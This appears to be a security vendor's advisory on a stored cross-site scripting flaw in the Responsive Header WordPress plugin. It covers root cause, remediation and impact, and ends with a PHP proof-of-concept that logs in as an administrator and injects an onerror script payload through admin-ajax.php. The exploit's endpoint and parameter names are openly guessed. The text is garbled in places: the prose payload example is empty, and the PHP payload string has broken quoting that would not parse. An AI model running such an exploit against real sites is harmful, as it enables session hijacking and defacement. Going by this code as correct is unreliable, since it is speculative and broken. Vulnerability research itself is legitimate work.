Atomic Edge analysis of CVE-2026-1300 (metadata-based):
The Responsive Header plugin for WordPress, version 1.0 and below, contains an authenticated stored cross-site scripting vulnerability. The flaw exists within multiple plugin settings parameters. Attackers with administrator-level privileges can inject arbitrary JavaScript, which executes when users view pages containing the malicious payload. The vulnerability is only exploitable on WordPress multisite installations or on single sites where the `unfiltered_html` capability is disabled.
Atomic Edge research infers the root cause is improper neutralization of user input before its storage and subsequent output. The CWE-79 classification and description of insufficient input sanitization and output escaping indicate the plugin likely fails to use WordPress `sanitize_*` functions on user-supplied settings values before saving them to the database. The plugin also likely fails to use appropriate `esc_*` functions when echoing these stored values in the site’s frontend or admin area. These conclusions are inferred from the CWE and standard WordPress security patterns, as the source code is unavailable for confirmation.
Exploitation requires an attacker to possess administrator-level access. The attack vector involves submitting malicious JavaScript within one or more of the plugin’s settings parameters. Based on WordPress plugin conventions, these settings are likely saved via an AJAX handler or a form submission to `admin-post.php` or `admin-ajax.php` using an action parameter like `responsive_header_save_settings`. A payload such as `
` could be injected into a text field intended for header content or configuration.
Remediation requires implementing proper input validation, sanitization, and output escaping. The plugin should sanitize all user-controlled settings parameters using functions like `sanitize_text_field` or `wp_kses_post` before storing them in the database. When outputting these values, the plugin must use context-appropriate escaping functions like `esc_html` or `esc_attr`. WordPress capabilities like `unfiltered_html` must also be respected. A patch would involve adding these security measures to all relevant data flow paths for the plugin’s settings.
The impact of successful exploitation is limited by the high privilege requirement but is still significant. An attacker with administrator access can inject malicious scripts that execute in the browsers of other administrators or site visitors. This can lead to session hijacking, site defacement, or redirection to malicious sites. In a multisite network, a super administrator compromising a sub-site could potentially target users across the entire network.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1300 - Responsive Header Plugin <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Parameters
<?php
/*
Assumptions:
1. The plugin saves settings via a WordPress AJAX handler.
2. The AJAX action is derived from the plugin slug, e.g., 'responsive_header_save'.
3. The vulnerable parameters are named generically (e.g., 'header_text', 'settings').
4. The attacker has valid administrator credentials.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';
// Payload to inject. This will trigger a JavaScript alert.
$payload = '<img src=x onerror="alert('XSS');">';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check for a successful login by looking for the admin dashboard indicator
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now exploit the plugin's settings update mechanism via AJAX.
// The exact action and parameter names are inferred.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'responsive_header_save', // Inferred AJAX action
'header_text' => $payload, // Injected into a likely parameter
'nonce' => '' // Nonce may be required; its absence could be part of the vulnerability.
)));
$ajax_response = curl_exec($ch);
// Check the response for success indicators
if (strpos($ajax_response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Payload likely injected. Visit the site's frontend to trigger execution.n";
} else {
echo "Exploit attempt may have failed. Adjust action/parameter names.n";
echo "Response: " . $ajax_response . "n";
}
curl_close($ch);
?>
